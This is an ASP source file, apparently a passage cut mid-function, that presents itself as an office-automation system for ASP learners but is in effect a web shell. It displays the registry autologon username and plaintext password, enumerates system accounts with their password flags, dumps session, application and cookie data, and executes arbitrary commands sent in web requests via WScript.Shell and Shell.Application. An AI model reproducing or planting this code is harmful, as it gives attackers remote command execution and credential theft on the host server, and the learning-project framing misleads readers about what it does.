hu.asp

我的一个oa用asp编写的系统可能对那些学习asp的人员有用。

		For Each objTheDrive In fsoX.Drives
			echo "<span>" & objTheDrive.DriveLetter & "</span>"
			echo "<span>" & getDriveType(objTheDrive.DriveType) & "</span>"
			If UCase(objTheDrive.DriveLetter) = "A" Then
				echo "<br/>"
			 Else
				echo "<span>" & objTheDrive.VolumeName & "</span>"
				echo "<span>" & objTheDrive.FileSystem & "</span>"
				echo "<span>" & getTheSize(objTheDrive.FreeSpace) & "</span>"
				echo "<span>" & getTheSize(objTheDrive.TotalSize) & "</span><br/>"
			End If
			If Err Then
				Err.Clear
				echo "<br/>"
			End If
		Next
		echo "</div><hr/></ol>"
		Set objTheDrive = Nothing
	End Sub

	Sub getSiteRootInfo()
		If isDebugMode = False Then
			On Error Resume Next
		End If
		Dim objTheFolder
		Set objTheFolder = fsoX.GetFolder(Server.MapPath("/"))
		echo "<br/><a href=javascript:showHideMe(siteRootInfo);>站点根目录信息:</a>"
		echo "<ol id=siteRootInfo><hr/>"
		echo "<li>物理路径: " & Server.MapPath("/") & "</li>"
		echo "<li>当前大小: " & getTheSize(objTheFolder.Size) & "</li>"
		echo "<li>文件数: " & objTheFolder.Files.Count & "</li>"
		echo "<li>文件夹数: " & objTheFolder.SubFolders.Count & "</li>"
		echo "<li>创建日期: " & objTheFolder.DateCreated & "</li>"
		echo "<li>最后访问日期: " & objTheFolder.DateLastAccessed & "</li>"
		echo "</ol>"
	End Sub

	Sub getTerminalInfo()
		If isDebugMode = False Then
			On Error Resume Next
		End If
		Dim terminalPortPath, terminalPortKey, termPort
		Dim autoLoginPath, autoLoginUserKey, autoLoginPassKey
		Dim isAutoLoginEnable, autoLoginEnableKey, autoLoginUsername, autoLoginPassword

		terminalPortPath = "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\"
		terminalPortKey = "PortNumber"
		termPort = wsX.RegRead(terminalPortPath & terminalPortKey)

		echo "终端服务端口及自动登录信息<hr/><ol>"
		If termPort = "" Or Err.Number <> 0 Then 
			echo  "无法得到终端服务端口, 请检查权限是否已经受到限制.<br/>"
		 Else
			echo  "当前终端服务端口: " & termPort & "<br/>"
		End If
		
		autoLoginPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\"
		autoLoginEnableKey = "AutoAdminLogon"
		autoLoginUserKey = "DefaultUserName"
		autoLoginPassKey = "DefaultPassword"
		isAutoLoginEnable = wsX.RegRead(autoLoginPath & autoLoginEnableKey)
		If isAutoLoginEnable = 0 Then
			echo  "系统自动登录功能未开启<br/>"
		Else
			autoLoginUsername = wsX.RegRead(autoLoginPath & autoLoginUserKey)
			echo  "自动登录的系统帐户: " & autoLoginUsername & "<br>"
			autoLoginPassword = wsX.RegRead(autoLoginPath & autoLoginPassKey)
			If Err Then
				Err.Clear
				echo  "False"
			End If
			echo  "自动登录的帐户密码: " & autoLoginPassword & "<br>"
		End If
		echo "</ol>"
	End Sub

	Function getDriveType(num)
		Select Case num
			Case 0
				getDriveType = "未知"
			Case 1
				getDriveType = "可移动磁盘"
			Case 2
				getDriveType = "本地硬盘"
			Case 3
				getDriveType = "网络磁盘"
			Case 4
				getDriveType = "CD-ROM"
			Case 5
				getDriveType = "RAM 磁盘"
		End Select
	End Function

	Sub PageObjOnSrv()
		Dim i, objTmp, txtObjInfo, strObjectList, strDscList
		txtObjInfo = Trim(Request("txtObjInfo"))

		strObjectList = "MSWC.AdRotator,MSWC.BrowserType,MSWC.NextLink,MSWC.Tools,MSWC.Status,MSWC.Counters,IISSample.ContentRotator," & _
						"IISSample.PageCounter,MSWC.PermissionChecker,Adodb.Connection,SoftArtisans.FileUp,SoftArtisans.FileManager,LyfUpload.UploadFile," & _
						"Persits.Upload.1,W3.Upload,JMail.SmtpMail,CDONTS.NewMail,Persits.MailSender,SMTPsvg.Mailer,DkQmail.Qmail,Geocel.Mailer," & _
						"IISmail.Iismail.1,SmtpMail.SmtpMail.1,SoftArtisans.ImageGen,W3Image.Image," & _
						"Scripting.FileSystemObject,Adodb.Stream,Shell.Application,WScript.Shell,Wscript.Network"
		strDscList = "广告轮换,浏览器信息,内容链接库,,,计数器,内容轮显,,权限检测,ADO 数据对象,SA-FileUp 文件上传,SoftArtisans 文件管理," & _
					 "刘云峰的文件上传组件,ASPUpload 文件上传,Dimac 文件上传,Dimac JMail 邮件收发,虚拟 SMTP 发信,ASPemail 发信,ASPmail 发信,dkQmail 发信," & _
					 "Geocel 发信,IISmail 发信,SmtpMail 发信,SA 的图像读写,Dimac 的图像读写组件," & _
					 "FSO,Stream 流,,,"

		aryObjectList = Split(strObjectList, ",")
		aryDscList = Split(strDscList, ",")

		showTitle("服务器组件支持情况检测")

		echo "其他组件支持情况检测<br/>"
		echo "在下面的输入框中输入你要检测的组件的ProgId或ClassId。<br/>"
		echo "<form method=post>"
		echo "<input name=txtObjInfo size=30 value=""" & txtObjInfo & """><input name=theAct type=submit value=我要检测>"
		echo "</form>"

		If Request("theAct") = "我要检测" And txtObjInfo <> "" Then
			Call getObjInfo(txtObjInfo, "")
		End If
		
		echo "<hr/>"
		echo "<lu>组件名称 ┆ 支持及其它"

		For i = 0 To UBound(aryDscList)
			Call getObjInfo(aryObjectList(i), aryDscList(i))
		Next

		echo "</lu><hr/>Powered By butterfly"		
	End Sub

	Sub getObjInfo(strObjInfo, strDscInfo)
		Dim objTmp

		If isDebugMode = False Then
			On Error Resume Next
		End If

		echo "<li> " & strObjInfo
		If strDscInfo <> "" Then
			echo " (" & strDscInfo & "组件)"
		End If

		echo " ┆ "

		Set objTmp = Server.CreateObject(strObjInfo)
		If Err <> -2147221005 Then
			echo "√ "
			echo "Version: " & objTmp.Version & "; "
			echo "About: " & objTmp.About
		 Else
			echo "×"
		End If
		echo "</li>"

		If Err Then
			Err.Clear
		End If
		
		Set objTmp = Nothing
	End Sub

	Sub PageUserList()
		Dim objUser, objGroup, objComputer
		
		showTitle("系统用户及用户组信息查看")
		Set objComputer = GetObject("WinNT://.")
		objComputer.Filter = Array("User")
		echo "<a href=javascript:showHideMe(userList);>User:</a>"
		echo "<span id=userList><hr/>"
		For Each objUser in objComputer
			echo "<li>" & objUser.Name & "</li>"
			echo "<ol><hr/>"
			getUserInfo(objUser.Name)
			echo "<hr/></ol>"
		Next
		echo "</span>"
		
		echo "<br/><a href=javascript:showHideMe(userGroupList);>UserGroup:</a>"
		echo "<span id=userGroupList><hr/>"
		objComputer.Filter = Array("Group")
		For Each objGroup in objComputer
			echo "<li>" & objGroup.Name & "</li>"
			echo "<ol><hr/>" & objGroup.Description & "<hr/></ol>"
		Next
		echo "</span><hr/>Powered By butterfly"

	End Sub

	Sub getUserInfo(strUser)
		Dim User, Flags
		If isDebugMode = False Then
			On Error Resume Next
		End If
		Set User = GetObject("WinNT://./" & strUser & ",user")
		echo "描述: " & User.Description & "<br/>"
		echo "所属用户组: " & getItsGroup(strUser) & "<br/>"
		echo "密码已过期: " & cbool(User.Get("PasswordExpired")) & "<br/>"
		Flags = User.Get("UserFlags")
		echo "密码永不过期: " & cbool(Flags And &H10000) & "<br/>"
		echo "用户不能更改密码: " & cbool(Flags And &H00040) & "<br/>"
		echo "非全局帐号: " & cbool(Flags And &H100) & "<br/>"
		echo "密码的最小长度: " & User.PasswordMinimumLength & "<br/>"
		echo "是否要求有密码: " & User.PasswordRequired & "<br/>"
		echo "帐号停用中: " & User.AccountDisabled & "<br/>"
		echo "帐号锁定中: " & User.IsAccountLocked & "<br/>"
		echo "用户信息文件: " & User.Profile & "<br/>"
		echo "用户登录脚本: " & User.LoginScript & "<br/>"
		echo "用户Home目录: " & User.HomeDirectory & "<br/>"
		echo "用户Home目录根: " & User.Get("HomeDirDrive") & "<br/>"
		echo "帐号过期时间: " & User.AccountExpirationDate & "<br/>"
		echo "帐号失败登录次数: " & User.BadLoginCount & "<br/>"
		echo "帐号最后登录时间: " & User.LastLogin & "<br/>"
		echo "帐号最后注销时间: " & User.LastLogoff & "<br/>"
		For Each RegTime In User.LoginHours
			If RegTime < 255 Then
				Restrict = True
			End If
		Next
		echo "帐号已用时间: " & Restrict & "<br/>"
		Err.Clear
	End Sub

	Function getItsGroup(strUser)
		Dim objUser, objGroup
		Set objUser = GetObject("WinNT://./" & strUser & ",user")
		For Each objGroup in objUser.Groups
			getItsGroup = getItsGroup & " " & objGroup.Name
		Next
	End Function

	Sub PageCSInfo()
		If isDebugMode = False Then
			On Error Resume Next
		End If
		Dim strKey, strVar, strVariable
		
		showTitle("客户端服务器交互信息")
		
		echo "<a href=javascript:showHideMe(ServerVariables);>ServerVariables:</a>"
		echo "<span id=ServerVariables style='display:none;'>"
		For Each strVariable In Request.ServerVariables
			echo "<li>" & strVariable & ": " & Request.ServerVariables(strVariable) & "</li>"
		Next
		echo "</span>"
		
		echo "<br/><a href=javascript:showHideMe(Application);>Application:</a>"
		echo "<span id=Application style='display:none;'>"
		For Each strVariable In Application.Contents
			echo "<li>" & strVariable & ": " & Encode(Application(strVariable)) & "</li>"
			If Err Then
				For Each strVar In Application.Contents(strVariable)
					echo "<li>" & strVariable & "(" & strVar & "): " & Encode(Application(strVariable)(strVar)) & "</li>"
				Next
				Err.Clear
			End If
		Next
		echo "</span>"

		echo "<br/><a href=javascript:showHideMe(Session);>Session:(ID" & Session.SessionId & ")</a>"
		echo "<span id=Session style='display:none;'>"
		For Each strVariable In Session.Contents
			echo "<li>" & strVariable & ": " & Encode(Session(strVariable)) & "</li>"
		Next
		echo "</span>"
		
		echo "<br/><a href=javascript:showHideMe(Cookies);>Cookies:</a>"
		echo "<span id=Cookies style='display:none;'>"
		For Each strVariable In Request.Cookies
			If Request.Cookies(strVariable).HasKeys Then
				For Each strKey In Request.Cookies(strVariable)
					echo "<li>" & strVariable & "(" & strKey & "): " & HtmlEncode(Request.Cookies(strVariable)(strKey)) & "</li>"
				Next
			 Else
				echo "<li>" & strVariable & ": " & Encode(Request.Cookies(strVariable)) & "</li>"
			End If
		Next
		echo "</span><hr/>Powered By butterfly"
		
	End Sub

	Sub PageWsCmdRun()
		Dim cmdStr, cmdPath, cmdResult
		cmdStr = Request("cmdStr")
		cmdPath = Request("cmdPath")
		
		showTitle("WScript.Shell命令行操作")
		
		If cmdPath = "" Then
			cmdPath = "cmd.exe"
		End If
		
		If cmdStr <> "" Then
			If InStr(LCase(cmdPath), "cmd.exe") > 0 Or InStr(LCase(cmdPath), LCase(myCmdDotExeFile)) > 0 Then
				cmdResult = doWsCmdRun(cmdPath & " /c " & cmdStr)
			 Else
		 		If LCase(cmdPath) = "wscriptshell" Then
					cmdResult = doWsCmdRun(cmdStr)
				 Else
					cmdResult = doWsCmdRun(cmdPath & " " & cmdStr)
				End If
			End If
		End If
		
		echo "<style>body{margin:8;}</style>"
		echo "<body onload=""document.forms[0].cmdStr.focus();document.forms[0].cmdResult.style.height=document.body.clientHeight-115;"">"
		echo "<form method=post onSubmit='this.Submit.disabled=true'>"
		echo "路径: <input name=cmdPath type=text id=cmdPath value=""" & HtmlEncode(cmdPath) & """ size=50> "
		echo "<input type=button name=Submit2 value=使用WScript.Shell onClick=""this.form.cmdPath.value='WScriptShell';""><br/>"
		echo "命令/参数: <input name=cmdStr type=text id=cmdStr value=""" & HtmlEncode(cmdStr) & """ size=62> "
		echo "<input type=submit name=Submit value=' 运行 '><br/>"
		echo "<hr/>注: 请只在这里执行单步程序(程序执行开始到结束不需要人工干预),不然本程序会无法正常工作,并且在服务器生成一个不可结束的进程.<hr/>"
		echo "<textarea id=cmdResult style='width:100%;height:78%;'>"
		echo HtmlEncode(cmdResult)
		echo "</textarea>"
		echo "</form>"
		echo "</body>"
	End Sub

	Function doWsCmdRun(cmdStr)
		If isDebugMode = False Then
			On Error Resume Next
		End If
		Dim fso, theFile
		Set fso = Server.CreateObject("Scripting.FileSystemObject")
		
		doWsCmdRun = wsX.Exec(cmdStr).StdOut.ReadAll()
		If Err Then
			echo Err.Description & "<br>"
			Err.Clear
			wsX.Run cmdStr & " > " & aspPath, 0, True
			Set theFile = fso.OpenTextFile(aspPath)
			doWsCmdRun = theFile.RealAll()
			If Err Then
				echo Err.Description & "<br>"
				Err.Clear
				doWsCmdRun = streamLoadFromFile(aspPath)
			End If
		End If
		
		Set fso = Nothing
	End Function

	Sub PageSaCmdRun()
		If isDebugMode = False Then
			On Error Resume Next
		End If
		Dim theFile, thePath, theAct, appPath, appName, appArgs
		
		showTitle("Shell.Application命令行操作")
		
		theAct = Trim(Request("theAct"))
		appPath = Trim(Request("appPath"))
		thePath = Trim(Request("thePath"))
		appName = Trim(Request("appName"))
		appArgs = Trim(Request("appArgs"))

		If theAct = "doAct" Then
			If appName = "" Then
				appName = "cmd.exe"
			End If
		
			If appPath <> "" And Right(appPath, 1) <> "\" Then
				appPath = appPath & "\"